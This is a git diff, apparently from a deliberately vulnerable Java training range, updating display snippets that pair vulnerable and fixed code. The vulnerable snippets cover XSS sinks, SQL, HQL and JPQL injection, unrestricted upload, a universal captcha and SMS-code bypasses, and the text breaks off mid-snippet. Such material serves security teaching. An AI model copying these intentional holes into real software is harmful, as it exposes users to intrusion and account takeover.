this.blocks, r = this.lastByteIndex; + t[r >> 2] |= u[3 & r], r >= 56 && (this.hashed || this.hash(), t[0] = t[16], t[16] = t[1] = t[2] = t[3] = t[4] = t[5] = t[6] = t[7] = t[8] = t[9] = t[10] = t[11] = t[12] = t[13] = t[14] = t[15] = 0), t[14] = this.bytes << 3, t[15] = this.hBytes << 3 | this.bytes >>> 29, this.hash() + } + }, t.prototype.hash = function () { + var t, r, e, i, s, h, f = this.blocks; + this.first ? r = ((r = ((t = ((t = f[0] - 680876937) << 7 | t >>> 25) - 271733879 << 0) ^ (e = ((e = (-271733879 ^ (i = ((i = (-1732584194 ^ 2004318071 & t) + f[1] - 117830708) << 12 | i >>> 20) + t << 0) & (-271733879 ^ t)) + f[2] - 1126478375) << 17 | e >>> 15) + i << 0) & (i ^ t)) + f[3] - 1316259209) << 22 | r >>> 10) + e << 0 : (t = this.h0, r = this.h1, e = this.h2, r = ((r += ((t = ((t += ((i = this.h3) ^ r & (e ^ i)) + f[0] - 680876936) << 7 | t >>> 25) + r << 0) ^ (e = ((e += (r ^ (i = ((i += (e ^ t & (r ^ e)) + f[1] - 389564586) << 12 | i >>> 20) + t << 0) & (t ^ r)) + f[2] + 606105819) << 17 | e >>> 15) + i << 0) & (i ^ t)) + f[3] - 1044525330) << 22 | r >>> 10) + e << 0), r = ((r += ((t = ((t += (i ^ r & (e ^ i)) + f[4] - 176418897) << 7 | t >>> 25) + r << 0) ^ (e = ((e += (r ^ (i = ((i += (e ^ t & (r ^ e)) + f[5] + 1200080426) << 12 | i >>> 20) + t << 0) & (t ^ r)) + f[6] - 1473231341) << 17 | e >>> 15) + i << 0) & (i ^ t)) + f[7] - 45705983) << 22 | r >>> 10) + e << 0, r = ((r += ((t = ((t += (i ^ r & (e ^ i)) + f[8] + 1770035416) << 7 | t >>> 25) + r << 0) ^ (e = ((e += (r ^ (i = ((i += (e ^ t & (r ^ e)) + f[9] - 1958414417) << 12 | i >>> 20) + t << 0) & (t ^ r)) + f[10] - 42063) << 17 | e >>> 15) + i << 0) & (i ^ t)) + f[11] - 1990404162) << 22 | r >>> 10) + e << 0, r = ((r += ((t = ((t += (i ^ r & (e ^ i)) + f[12] + 1804603682) << 7 | t >>> 25) + r << 0) ^ (e = ((e += (r ^ (i = ((i += (e ^ t & (r ^ e)) + f[13] - 40341101) << 12 | i >>> 20) + t << 0) & (t ^ r)) + f[14] - 1502002290) << 17 | e >>> 15) + i << 0) & (i ^ t)) + f[15] + 1236535329) << 22 | r >>> 10) + e << 0, r = ((r += ((i = ((i += (r ^ e & ((t = ((t += (e ^ i & (r ^ e)) + f[1] - 165796510) << 5 | t >>> 27) + r << 0) ^ r)) + f[6] - 1069501632) << 9 | i >>> 23) + t << 0) ^ t & ((e = ((e += (t ^ r & (i ^ t)) + f[11] + 643717713) << 14 | e >>> 18) + i << 0) ^ i)) + f[0] - 373897302) << 20 | r >>> 12) + e << 0, r = ((r += ((i = ((i += (r ^ e & ((t = ((t += (e ^ i & (r ^ e)) + f[5] - 701558691) << 5 | t >>> 27) + r << 0) ^ r)) + f[10] + 38016083) << 9 | i >>> 23) + t << 0) ^ t & ((e = ((e += (t ^ r & (i ^ t)) + f[15] - 660478335) << 14 | e >>> 18) + i << 0) ^ i)) + f[4] - 405537848) << 20 | r >>> 12) + e << 0, r = ((r += ((i = ((i += (r ^ e & ((t = ((t += (e ^ i & (r ^ e)) + f[9] + 568446438) << 5 | t >>> 27) + r << 0) ^ r)) + f[14] - 1019803690) << 9 | i >>> 23) + t << 0) ^ t & ((e = ((e += (t ^ r & (i ^ t)) + f[3] - 187363961) << 14 | e >>> 18) + i << 0) ^ i)) + f[8] + 1163531501) << 20 | r >>> 12) + e << 0, r = ((r += ((i = ((i += (r ^ e & ((t = ((t += (e ^ i & (r ^ e)) + f[13] - 1444681467) << 5 | t >>> 27) + r << 0) ^ r)) + f[2] - 51403784) << 9 | i >>> 23) + t << 0) ^ t & ((e = ((e += (t ^ r & (i ^ t)) + f[7] + 1735328473) << 14 | e >>> 18) + i << 0) ^ i)) + f[12] - 1926607734) << 20 | r >>> 12) + e << 0, r = ((r += ((h = (i = ((i += ((s = r ^ e) ^ (t = ((t += (s ^ i) + f[5] - 378558) << 4 | t >>> 28) + r << 0)) + f[8] - 2022574463) << 11 | i >>> 21) + t << 0) ^ t) ^ (e = ((e += (h ^ r) + f[11] + 1839030562) << 16 | e >>> 16) + i << 0)) + f[14] - 35309556) << 23 | r >>> 9) + e << 0, r = ((r += ((h = (i = ((i += ((s = r ^ e) ^ (t = ((t += (s ^ i) + f[1] - 1530992060) << 4 | t >>> 28) + r << 0)) + f[4] + 1272893353) << 11 | i >>> 21) + t << 0) ^ t) ^ (e = ((e += (h ^ r) + f[7] - 155497632) << 16 | e >>> 16) + i << 0)) + f[10] - 1094730640) << 23 | r >>> 9) + e << 0, r = ((r += ((h = (i = ((i += ((s = r ^ e) ^ (t = ((t += (s ^ i) + f[13] + 681279174) << 4 | t >>> 28) + r << 0)) + f[0] - 358537222) << 11 | i >>> 21) + t << 0) ^ t) ^ (e = ((e += (h ^ r) + f[3] - 722521979) << 16 | e >>> 16) + i << 0)) + f[6] + 76029189) << 23 | r >>> 9) + e << 0, r = ((r += ((h = (i = ((i += ((s = r ^ e) ^ (t = ((t += (s ^ i) + f[9] - 640364487) << 4 | t >>> 28) + r << 0)) + f[12] - 421815835) << 11 | i >>> 21) + t << 0) ^ t) ^ (e = ((e += (h ^ r) + f[15] + 530742520) << 16 | e >>> 16) + i << 0)) + f[2] - 995338651) << 23 | r >>> 9) + e << 0, r = ((r += ((i = ((i += (r ^ ((t = ((t += (e ^ (r | ~i)) + f[0] - 198630844) << 6 | t >>> 26) + r << 0) | ~e)) + f[7] + 1126891415) << 10 | i >>> 22) + t << 0) ^ ((e = ((e += (t ^ (i | ~r)) + f[14] - 1416354905) << 15 | e >>> 17) + i << 0) | ~t)) + f[5] - 57434055) << 21 | r >>> 11) + e << 0, r = ((r += ((i = ((i += (r ^ ((t = ((t += (e ^ (r | ~i)) + f[12] + 1700485571) << 6 | t >>> 26) + r << 0) | ~e)) + f[3] - 1894986606) << 10 | i >>> 22) + t << 0) ^ ((e = ((e += (t ^ (i | ~r)) + f[10] - 1051523) << 15 | e >>> 17) + i << 0) | ~t)) + f[1] - 2054922799) << 21 | r >>> 11) + e << 0, r = ((r += ((i = ((i += (r ^ ((t = ((t += (e ^ (r | ~i)) + f[8] + 1873313359) << 6 | t >>> 26) + r << 0) | ~e)) + f[15] - 30611744) << 10 | i >>> 22) + t << 0) ^ ((e = ((e += (t ^ (i | ~r)) + f[6] - 1560198380) << 15 | e >>> 17) + i << 0) | ~t)) + f[13] + 1309151649) << 21 | r >>> 11) + e << 0, r = ((r += ((i = ((i += (r ^ ((t = ((t += (e ^ (r | ~i)) + f[4] - 145523070) << 6 | t >>> 26) + r << 0) | ~e)) + f[11] - 1120210379) << 10 | i >>> 22) + t << 0) ^ ((e = ((e += (t ^ (i | ~r)) + f[2] + 718787259) << 15 | e >>> 17) + i << 0) | ~t)) + f[9] - 343485551) << 21 | r >>> 11) + e << 0, this.first ? (this.h0 = t + 1732584193 << 0, this.h1 = r - 271733879 << 0, this.h2 = e - 1732584194 << 0, this.h3 = i + 271733878 << 0, this.first = !1) : (this.h0 = this.h0 + t << 0, this.h1 = this.h1 + r << 0, this.h2 = this.h2 + e << 0, this.h3 = this.h3 + i << 0) + }, t.prototype.hex = function () { + this.finalize(); + var t = this.h0, r = this.h1, e = this.h2, i = this.h3; + return n[t >> 4 & 15] + n[15 & t] + n[t >> 12 & 15] + n[t >> 8 & 15] + n[t >> 20 & 15] + n[t >> 16 & 15] + n[t >> 28 & 15] + n[t >> 24 & 15] + n[r >> 4 & 15] + n[15 & r] + n[r >> 12 & 15] + n[r >> 8 & 15] + n[r >> 20 & 15] + n[r >> 16 & 15] + n[r >> 28 & 15] + n[r >> 24 & 15] + n[e >> 4 & 15] + n[15 & e] + n[e >> 12 & 15] + n[e >> 8 & 15] + n[e >> 20 & 15] + n[e >> 16 & 15] + n[e >> 28 & 15] + n[e >> 24 & 15] + n[i >> 4 & 15] + n[15 & i] + n[i >> 12 & 15] + n[i >> 8 & 15] + n[i >> 20 & 15] + n[i >> 16 & 15] + n[i >> 28 & 15] + n[i >> 24 & 15] + }, t.prototype.toString = t.prototype.hex, t.prototype.digest = function () { + this.finalize(); + var t = this.h0, r = this.h1, e = this.h2, i = this.h3; + return [255 & t, t >> 8 & 255, t >> 16 & 255, t >> 24 & 255, 255 & r, r >> 8 & 255, r >> 16 & 255, r >> 24 & 255, 255 & e, e >> 8 & 255, e >> 16 & 255, e >> 24 & 255, 255 & i, i >> 8 & 255, i >> 16 & 255, i >> 24 & 255] + }, t.prototype.array = t.prototype.digest, t.prototype.arrayBuffer = function () { + this.finalize(); + var t = new ArrayBuffer(16), r = new Uint32Array(t); + return r[0] = this.h0, r[1] = this.h1, r[2] = this.h2, r[3] = this.h3, t + }, t.prototype.buffer = t.prototype.arrayBuffer, t.prototype.base64 = function () { + for (var t, r, e, i = "", s = this.array(), h = 0; h < 15;) t = s[h++], r = s[h++], e = s[h++], i += p[t >>> 2] + p[63 & (t << 4 | r >>> 4)] + p[63 & (r << 2 | e >>> 6)] + p[63 & e]; + return t = s[h], i += p[t >>> 2] + p[t << 4 & 63] + "==" + }; + var _ = v(); + f ? module.exports = _ : (i.md5 = _, o && define(function () { + return _ + })) +}(); \ No newline at end of file diff --git a/src/main/resources/static/js/sec-tip.js b/src/main/resources/static/js/sec-tip.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/staticcode.js b/src/main/resources/static/js/staticcode.js old mode 100644 new mode 100755 index 6263990..ee96d45 --- a/src/main/resources/static/js/staticcode.js +++ b/src/main/resources/static/js/staticcode.js @@ -4,9 +4,9 @@ * @email: whgojp@foxmail.com * @Date: 2024/5/19 19:03 */ -const vul1ReflectRaw = "// 原生漏洞环境,未加任何过滤,Controller接口返回Json类型结果\n" + - "public R vul1(String content) {\n" + - " return R.ok(content);\n" + +const vul1ReflectRaw = "// 原生漏洞场景,未加任何过滤,Controller接口返回Json类型结果\n" + + "public R vul1(String payload) {\n" + + " return R.ok(payload);\n" + "}\n" + "// R 是对返回结果的封装工具util\n" + "// 返回结果:\n" + @@ -16,20 +16,20 @@ const vul1ReflectRaw = "// 原生漏洞环境,未加任何过滤,Controller接 "// }\n" + "// payload在json中是不会触发xss的 需要解析到页面中\n" + "\n" + - "// 原生漏洞环境,未加任何过滤,Controller接口返回String类型结果\n" + - "public String vul2(String content) {\n" + - " return content;\n" + + "// 原生漏洞场景,未加任何过滤,Controller接口返回String类型结果\n" + + "public String vul2(String payload) {\n" + + " return payload;\n" + "}" const vul2ReflectContentType = "// Tomcat内置HttpServletResponse,Content-Type导致反射XSS\n" + - "public void vul3(String type,String content, HttpServletResponse response) {\n" + + "public void vul3(String type,String payload, HttpServletResponse response) {\n" + " switch (type) {\n" + " case \"html\":\n" + - " response.getWriter().print(content);\n" + + " response.getWriter().print(payload);\n" + " response.setContentType(\"text/html;charset=utf-8\");\n" + " response.getWriter().flush();\n" + " break;\n" + " case \"plain\":\n" + - " response.getWriter().print(content);\n" + + " response.getWriter().print(payload);\n" + " response.setContentType(\"text/plain;charset=utf-8\");\n" + " response.getWriter().flush();\n" + " ...\n" + @@ -51,9 +51,9 @@ const safe1CheckUserInput = "// 对用户输入的数据进行验证和过滤, "private static final String WHITELIST_REGEX = \"^[a-zA-Z0-9_\\\\s]+$\";\n" + "private static final Pattern pattern = Pattern.compile(WHITELIST_REGEX);\n" + "\n" + - "Matcher matcher = pattern.matcher(content);\n" + + "Matcher matcher = pattern.matcher(payload);\n" + "if (matcher.matches()){\n" + - " return R.ok(content);\n" + + " return R.ok(payload);\n" + "}else return R.error(\"输入内容包含非法字符,请检查输入\");" const safe2CSP = "// 内容安全策略(Content Security Policy)是一种由浏览器实施的安全机制,旨在减少和防范跨站脚本攻击(XSS)等安全威胁。它通过允许网站管理员定义哪些内容来源是可信任的,从而防止恶意内容的加载和执行\n" + "// 前端Meta配置\n" + @@ -61,27 +61,27 @@ const safe2CSP = "// 内容安全策略(Content Security Policy)是一种由 "\n" + "\n" + "// 后端Header配置\n" + - "public String safe2(String content,HttpServletResponse response) {\n" + + "public String safe2(String payload,HttpServletResponse response) {\n" + " response.setHeader(\"Content-Security-Policy\",\"default-src self\");\n" + - " return content;\n" + + " return payload;\n" + "}" const safe3EntityEscape = '// 特殊字符实体转义是一种将HTML中的特殊字符转换为预定义实体表示的过程\n' + '// 这种转义是为了确保在HTML页面中正确显示特定字符,同时避免它们被浏览器误解为HTML标签或JavaScript代码的一部分,从而导致页面结构混乱或安全漏洞\n' + - 'public R safe3(@ApiParam(String type, String content) {\n' + + 'public R safe3(@ApiParam(String type, String payload) {\n' + ' String filterContented = "";\n' + ' switch (type){\n' + ' case "manual":\n' + - ' content = StringUtils.replace(content, "&", "&");\n' + - ' content = StringUtils.replace(content, "<", "<");\n' + - ' content = StringUtils.replace(content, ">", ">");\n' + - ' content = StringUtils.replace(content, "\\"", """);\n' + - ' content = StringUtils.replace(content, "\'", "'");\n' + - ' content = StringUtils.replace(content, "/", "/");\n' + - ' filterContented = content;\n' + + ' payload = StringUtils.replace(payload, "&", "&");\n' + + ' payload = StringUtils.replace(payload, "<", "<");\n' + + ' payload = StringUtils.replace(payload, ">", ">");\n' + + ' payload = StringUtils.replace(payload, "\\"", """);\n' + + ' payload = StringUtils.replace(payload, "\'", "'");\n' + + ' payload = StringUtils.replace(payload, "/", "/");\n' + + ' filterContented = payload;\n' + ' break;\n' + ' case "spring":\n' + - ' filterContented = HtmlUtils.htmlEscape(content);\n' + + ' filterContented = HtmlUtils.htmlEscape(payload);\n' + ' break;\n' + ' ...\n' + ' }\n' + @@ -89,13 +89,13 @@ const safe3EntityEscape = '// 特殊字符实体转义是一种将HTML中的特 const safe4HttpOnly = "// HttpOnly是HTTP响应头属性,用于增强Web应用程序安全性。它防止客户端脚本访问(只能通过http/https协议访问)带有HttpOnly标记的 cookie,从而减少跨站点脚本攻击(XSS)的风险\n" + "// 单个接口配置\n" + - "public R safe4(String content, HttpServletRequest request,HttpServletResponse response) {\n" + + "public R safe4(String payload, HttpServletRequest request,HttpServletResponse response) {\n" + " Cookie cookie = request.getCookies()[ueditor];\n" + " cookie.setHttpOnly(true); // 设置为 HttpOnly\n" + " cookie.setMaxAge(600); // 这里设置生效时间为十分钟\n" + " cookie.setPath(\"/\");\n" + " response.addCookie(cookie);\n" + - " return R.ok(content);\n" + + " return R.ok(payload);\n" + "}\n" + "\n" + "// 全局配置\n" + @@ -118,11 +118,11 @@ const safe4HttpOnly = "// HttpOnly是HTTP响应头属性,用于增强Web应用 " ...\n" + "}" -const vul1StoreRaw = "// 原生漏洞环境,未加任何过滤,将用户输入存储到数据库中\n" + +const vul1StoreRaw = "// 原生漏洞场景,未加任何过滤,将用户输入存储到数据库中\n" + "// Controller层\n" + - "public R vul(String content,HttpServletRequest request) {\n" + + "public R vul(String payload,HttpServletRequest request) {\n" + " String ua = request.getHeader(\"User-Agent\");\n" + - " final int code = xssService.insertOne(content,ua);\n" + + " final int code = xssService.insertOne(payload,ua);\n" + " ...\n" + "}\n" + "// Service层\n" + @@ -163,29 +163,56 @@ const safe1StoreEntityEscape = "// 表格数据渲染\n" + "// 方法三、jQuery的text()方法\n" + "$('#element').text(htmlContent);\n" -const vul1DomRaw = "// innerHTML\n" + +const vul1DomRaw = "// 1. innerHTML XSS\n" + "form.on('submit(vul1-dom-raw)', function (data) {\n" + " var userInput = document.getElementById('vul1-dom-raw-input').value;\n" + " var outputDiv = document.getElementById('vul-dom-raw-result');\n" + - " outputDiv.innerHTML = userInput;\n" + + " outputDiv.innerHTML = userInput; // 漏洞点:直接使用innerHTML插入用户输入\n" + " return false;\n" + "});\n" + "\n" + - "// href跳转场景\n" + + "// 2. LocalStorage XSS\n" + + "form.on('submit(vul3-dom-raw-submit)', function (data) {\n" + + " localStorage.setItem('vul4-dom-raw', document.getElementById('vul4-dom-raw-input').value);\n" + + " var storedData = localStorage.getItem('vul4-dom-raw');\n" + + " document.getElementById('vul-dom-raw-result').innerHTML = storedData; // 漏洞点:从存储读取后直接插入\n" + + " return false;\n" + + "});\n" + + "\n" + + "// 3. href跳转XSS\n" + "var hash = location.hash;\n" + "if(hash){\n" + - " var url = hash.substring(ueditor);\n" + + " var url = hash.substring(1); // 去掉#号\n" + " console.log(url);\n" + - " location.href = url;\n" + + " location.href = url; // 漏洞点:直接使用hash部分作为跳转URL\n" + "}\n" + "\n" + - "// DOM存储注入\n" + - "form.on('submit(vul3-dom-raw-submit)', function (data) {\n" + - " localStorage.setItem('vul4-dom-raw', document.getElementById('vul4-dom-raw-input').value);\n" + - " var storedData = localStorage.getItem('vul4-dom-raw');\n" + - " document.getElementById('vul-dom-raw-result').innerHTML = storedData;\n" + + "// 4. Location对象XSS\n" + + "form.on('submit(location-xss)', function(data) {\n" + + " var payload = data.field.locationPayload;\n" + + " window.location = payload; // 漏洞点:直接使用用户输入修改location\n" + " return false;\n" + - "})" + "});\n" + + "\n" + + "// 5. Eval执行XSS\n" + + "form.on('submit(eval-xss)', function(data) {\n" + + " var payload = data.field.evalPayload;\n" + + " eval(payload); // 漏洞点:直接执行用户输入的JavaScript代码\n" + + " return false;\n" + + "});\n" + + "\n" + + "// 6. Document对象XSS\n" + + "form.on('submit(document-write)', function(data) {\n" + + " var payload = data.field.documentPayload;\n" + + " document.write(payload); // 漏洞点:直接写入用户输入的HTML\n" + + " document.close();\n" + + " return false;\n" + + "});\n" + + "form.on('submit(document-domain)', function(data) {\n" + + " var payload = data.field.documentPayload;\n" + + " document.domain = payload; // 漏洞点:直接修改document.domain\n" + + " return false;\n" + + "});" const vul1OtherUpload = "public String uploadFile(MultipartFile file, String suffix,String path) throws IOException {\n" + " String uploadFolderPath = sysConstant.getUploadFolder();\n" + @@ -203,11 +230,11 @@ const vul1OtherUpload = "public String uploadFile(MultipartFile file, String suf " }\n" + "}" -const vul2OtherTemplate = "public String handleTemplateInjection(String content,String type, Model model) {\n" + +const vul2OtherTemplate = "public String handleTemplateInjection(String payload,String type, Model model) {\n" + " if (\"html\".equals(type)) {\n" + - " model.addAttribute(\"html\", content);\n" + + " model.addAttribute(\"html\", payload);\n" + " } else if (\"text\".equals(type)) {\n" + - " model.addAttribute(\"text\", content);\n" + + " model.addAttribute(\"text\", payload);\n" + " }\n" + " return \"vul/xss/other\";\n" + "}\n" + @@ -234,6 +261,22 @@ const vul3SCMSec = "// jQuery依赖\n" + "\n" + "// Ueditor编辑器未做任何限制 抓上传数据包后,可以上传任意类型文件"; +const vulHtml5 = "1、WebSocket XSS\n" + + "// 接收端:直接使用innerHTML插入消息\n" + + "window.addEventListener('message', function(event) {\n" + + " // 故意不验证origin\n" + + " document.getElementById('messageContainer').innerHTML = event.data;\n" + + "});\n" + + "// 客户端:直接使用innerHTML插入消息\n" + + "ws.onmessage = function(event) {\n" + + " document.getElementById('wsMessageContainer').innerHTML = event.data;\n" + + "};\n" + + "2、PostMessage XSS\n" + + "// 服务端:直接广播用户输入\n" + + "protected void handleTextMessage(WebSocketSession session, TextMessage message) throws Exception {\n" + + " broadcast(message.getPayload());\n" + + "}" + const vul1RawJoint = "// 原生sql语句动态拼接 参数未进行任何处理\n" + "public R vul1(String type,String id,String username,String password) {\n" + " //注册数据库驱动类\n" + @@ -411,7 +454,7 @@ const safe3BlacklistcheckSqlBlackList = "// 检测用户输入是否存在敏感 " rowsAffected = stmt.executeUpdate(sql);\n" + " ...\n" + " case \"update\":\n" + - " if (checkUserInput.checkSqlBlackList(id) || checkUserInput.checkSqlBlackList(username) || checkUserInput.checkSqlBlackList(id)) {\n" + + " if (checkUserInput.checkSqlBlackList(id) || checkUserInput.checkSqlBlackList(username) || checkUserInput.checkSqlBlackList(password)) {\n" + " return R.error(\"黑名单检测到非法SQL注入!\");\n" + " } else {\n" + " sql = \"UPDATE users SET password = '\" + password + \"', username = '\" + username + \"' WHERE id = '\" + id + \"'\";\n" + @@ -630,7 +673,7 @@ const mybatisSpecial1OrderBy = " \n" + "" -const mybatisSpecial2Like ="// Controller层\n" + +const mybatisSpecial2Like = "// Controller层\n" + "public R special1OrderBy() {\n" + "@PostMapping(\"/special2-Like\")\n" + "public R special2Like(String type,String keyword) {\n" + @@ -661,7 +704,7 @@ const mybatisSpecial2Like ="// Controller层\n" + " SELECT * FROM sqli WHERE username LIKE CONCAT('%', #{keyword}, '%')\n" + "" -const mybatisSpecial3In ="// Controller层\n" + +const mybatisSpecial3In = "// Controller层\n" + "public R special3In(String type,String scope) {\n" + " switch (type) {\n" + " case \"raw\":\n" + @@ -712,7 +755,7 @@ const safeJPA = "safeJPA" // 任意文件类-文件上传 -const anyFileUploadCode = "// 原生漏洞环境,未做任何限制\n" + +const anyFileUploadCode = "// 原生漏洞场景,未做任何限制\n" + "public R vul(MultipartFile file, HttpServletRequest request) {\n" + " String res;\n" + " String suffix = FilenameUtils.getExtension(\n" + @@ -738,6 +781,89 @@ const anyFileUploadWhiteCode = "// 检测文件后缀,做白名单过滤\n" + " return false;\n" + "}" +const vul1Native = "public R vul1(@RequestParam String username) {\n" + + " try {\n" + + " String sql = \"SELECT * FROM sqli WHERE username = '\" + username + \"'\";\n" + + " Object[] result = (Object[]) hibernateTemplate.execute(session ->\n" + + " session.createNativeQuery(sql).uniqueResult()\n" + + " );\n" + + " message = \"查询成功,用户名:\" + result[1] + \" 密码:\" +result[2];\n" + + " return R.ok(message);\n" + + " } catch (Exception e) {\n" + + " log.error(\"查询失败\", e);\n" + + " return R.error(e.getMessage());\n" + + " }\n" + + "}" +const vul2Hql = "public R vul2(@RequestParam String username) {\n" + + " try {\n" + + " String hql = \"FROM Sqli WHERE username = '\" + username + \"'\";\n" + + " Sqli result = (Sqli) hibernateTemplate.execute(session ->\n" + + " session.createQuery(hql).uniqueResult()\n" + + " );\n" + + " message = \"查询成功,用户名:\" +result.getUsername()+ \" 密码:\" +result.getPassword();\n" + + " return R.ok(message);\n" + + " } catch (Exception e) {\n" + + " log.error(\"查询失败\", e);\n" + + " return R.error(e.getMessage());\n" + + " }\n" + + "}" +const safe1Param = "public R safe(@RequestParam String username) {\n" + + " try {\n" + + " String hql = \"FROM Sqli WHERE username = :username\";\n" + + " Sqli result = hibernateTemplate.execute(session ->\n" + + " (Sqli) session.createQuery(hql)\n" + + " .setParameter(\"username\", username)\n" + + " .uniqueResult()\n" + + " );\n" + + " message = \"查询成功,用户名:\" +result.getUsername()+ \" 密码:\" +result.getPassword();\n" + + " return R.ok(message);\n" + + " } catch (Exception e) {\n" + + " log.error(\"查询失败\", e);\n" + + " return R.error(e.getMessage());\n" + + " }\n" + + "}" + +const vul1JpaJpql = "public R vul1(@RequestParam String username) {\n" + + " try {\n" + + " String jpql = \"SELECT s FROM Sqli s WHERE s.username = '\" + username + \"'\";\n" + + " Query query = entityManager.createQuery(jpql);\n" + + " List results = query.getResultList();\n" + + " if (results == null || results.isEmpty()) {\n" + + " return R.error(\"未找到记录\");\n" + + " }\n" + + " StringBuilder sb = new StringBuilder();\n" + + " sb.append(\"查询成功,找到 \").append(results.size()).append(\" 条记录\\n\");\n" + + " message = sb.toString();\n" + + " log.info(message);\n" + + " return R.ok(message);\n" + + " } catch (Exception e) {\n" + + " String errorMsg = e.getMessage();\n" + + " log.error(\"查询失败: {}\", errorMsg, e);\n" + + " return R.error(errorMsg);\n" + + " }\n" + + "}" +const vul2JpaSort = "vul2JpaSort" +const safeJpaParam = "public R safe(@RequestParam String username) {\n" + + " try {\n" + + " String jpql = \"SELECT s FROM Sqli s WHERE s.username = :username\";\n" + + " Query query = entityManager.createQuery(jpql)\n" + + " .setParameter(\"username\", username);\n" + + " List results = query.getResultList();\n" + + " if (results == null || results.isEmpty()) {\n" + + " return R.error(\"未找到记录\");\n" + + " }\n" + + " StringBuilder sb = new StringBuilder();\n" + + " sb.append(\"查询成功,找到 \").append(results.size()).append(\" 条记录\\n\");\n" + + " message = sb.toString();\n" + + " log.info(message);\n" + + " return R.ok(message);\n" + + " } catch (Exception e) {\n" + + " String errorMsg = e.getMessage();\n" + + " log.error(\"查询失败: {}\", errorMsg, e);\n" + + " return R.error(errorMsg);\n" + + " }\n" + + "}" + // 任意文件类型-文件删除 const deleteFile = "public String vul(String filePath) {\n" + " String currentPath = System.getProperty(\"user.dir\");\n" + @@ -1052,12 +1178,113 @@ const safeBlackList = "public String safe2(String payload) {\n" + // 漏洞漏洞 +// 验证码安全 +const vul1Graphic = "public Boolean verifyCaptcha(String captchaInput, HttpSession session) {\n" + + " String sessionCaptcha = (String) session.getAttribute(\"vulCaptcha\");\n" + + " Long captchaCreationTime = (Long) session.getAttribute(\"captchaCreationTime\");\n" + + " // 如果没有验证码或生成时间,返回失败\n" + + " if (sessionCaptcha == null || captchaCreationTime == null) {\n" + + " return false;\n" + + " }\n" + + " // 验证码有效期为300秒(5分钟)5分钟可以无限制爆破账号密码\n" + + " long captchaExpiryTime = 300 * 1000; // 300秒转换为毫秒\n" + + " // 检查验证码是否过期\n" + + " if (System.currentTimeMillis() - captchaCreationTime > captchaExpiryTime) {\n" + + " session.removeAttribute(\"vulCaptcha\");\n" + + " session.removeAttribute(\"captchaCreationTime\");\n" + + " return false;\n" + + " }\n" + + " // 验证输入的验证码 这里验证失败后也没有清除旧的验证码\n" + + " if (sessionCaptcha.equalsIgnoreCase(captchaInput)) {\n" + + " return true;\n" + + " } else {\n" + + " return false;\n" + + " }\n" + + "}" +const vul2Graphic = "public R vul2(String username, String password, String captcha,HttpSession session) {\n" + + "\tString sessionCaptcha = (String) session.getAttribute(\"vulCaptcha\");\n" + + "\t// 万能验证码:6666\n" + + "\tif (\"6666\".equals(captcha) || (sessionCaptcha != null && sessionCaptcha.equalsIgnoreCase(captcha))) {\n" + + "\t\t// 及时清除旧验证码\n" + + "\t\tsession.removeAttribute(\"vulCaptcha\");\n" + + "\t\tif (REAL_USERNAME.equals(username) && REAL_PASSWORD.equals(password)) {\n" + + "\t\t\treturn R.ok(\"账号爆破成功!用户名:\" + username + \",密码:\" + password);\n" + + "\t\t}else return R.error(\"账号或密码错误!\");\n" + + "\t}else {\n" + + "\t\tsession.removeAttribute(\"vulCaptcha\");\n" + + "\t\treturn R.error(\"验证码错误!\");\n" + + "\t}\n" + + "}" +const vul3Graphic = "public R vul3(String username, String password, String captcha, HttpSession session) {\n" + + "\tString sessionCaptcha = (String) session.getAttribute(\"vulCaptcha\");\n" + + "\tif (sessionCaptcha != null && sessionCaptcha.equalsIgnoreCase(captcha)) {\n" + + "\t\tsession.removeAttribute(\"vulCaptcha\");\n" + + "\t\tif (REAL_USERNAME.equals(username) && REAL_PASSWORD.equals(password)) {\n" + + "\t\t\treturn R.ok(\"账号爆破成功!用户名:\" + username + \",密码:\" + password);\n" + + "\t\t} else return R.error(\"账号或密码错误!\");\n" + + "\t} else {\n" + + "\t\tsession.removeAttribute(\"vulCaptcha\");\n" + + "\t\treturn R.error(\"验证码错误!\");\n" + + "\t}\n" + + "}" +const safeGraphic = "public R safe(String username, String password, String captcha, HttpSession session) {\n" + + " String sessionCaptcha = (String) session.getAttribute(\"safeCaptcha\");\n" + + " Long captchaTimestamp = (Long) session.getAttribute(\"captchaTimestamp\");\n" + + " // 验证验证码是否已失效(1分钟有效)\n" + + " if (captchaTimestamp == null || System.currentTimeMillis() - captchaTimestamp > 60 * 1000) {\n" + + " session.removeAttribute(\"safeCaptcha\");\n" + + " session.removeAttribute(\"captchaTimestamp\");\n" + + " return R.error(\"验证码已失效,请重新获取!\");\n" + + " }\n" + + " if (sessionCaptcha != null && sessionCaptcha.equalsIgnoreCase(captcha)) {\n" + + " session.removeAttribute(\"safeCaptcha\");\n" + + " session.removeAttribute(\"captchaTimestamp\");\n" + + " if (REAL_USERNAME.equals(username) && REAL_PASSWORD.equals(password)) {\n" + + " return R.ok(\"登录成功!用户名:\" + username + \",密码:\" + password);\n" + + " } else {\n" + + " return R.error(\"账号或密码错误!\");\n" + + " }\n" + + " } else {\n" + + " session.removeAttribute(\"safeCaptcha\");\n" + + " session.removeAttribute(\"captchaTimestamp\");\n" + + " return R.error(\"验证码错误,请重新输入!\");\n" + + " }\n" + + "}\n" + + "\n" + + "// 设置图形验证码长度6位\n" + + "ShearCaptcha shearCaptcha = CaptchaUtil.createShearCaptcha(90, 30, 6, 3);" + +const vul1SMS = "public R code(String phone, HttpSession session) {\n" + + " ...\n" + + " Random random = new Random();\n" + + " // 随机生成6位数验证码\n" + + " String captcha = String.valueOf(100000 + random.nextInt(900000));\n" + + " session.setAttribute(\"phone\", phone);\n" + + " session.setAttribute(\"smsCode\", captcha);\n" + + " session.setAttribute(\"captchaTimestamp\", System.currentTimeMillis());\n" + + " // 错误的将短信验证码回显在响应包中\n" + + " return R.ok(\"发送验证码成功!\" + captcha);\n" + + "}" +const vul2SMS = "public R vul2(String phone, String code, @RequestParam(required = false, defaultValue = \"false\") boolean code_verify, HttpSession session) {\n" + + " ...\n" + + " // 校验code_verify字段,如果为true则验证登录成功\n" + + " if (code_verify){\n" + + " return R.ok(\"验证通过!用户:\"+phone);\n" + + " }\n" + + " if (!sessionCaptcha.equals(code)) {\n" + + " return R.error(\"验证码错误,请重新输入!\");\n" + + " }\n" + + " ...\n" + + " return R.ok(\"验证通过!用户:\"+phone);\n" + + "}" + + // 越权漏洞 -const vulHorizon = "public String vul(){\n" + - "\tString currentUsername = SecurityContextHolder.getContext().getAuthentication().getName();\n" + - "\tif (\"admin\".equals(currentUsername)) {\n" + - "\t\treturn \"common/401\";\n" + - "\t}else return 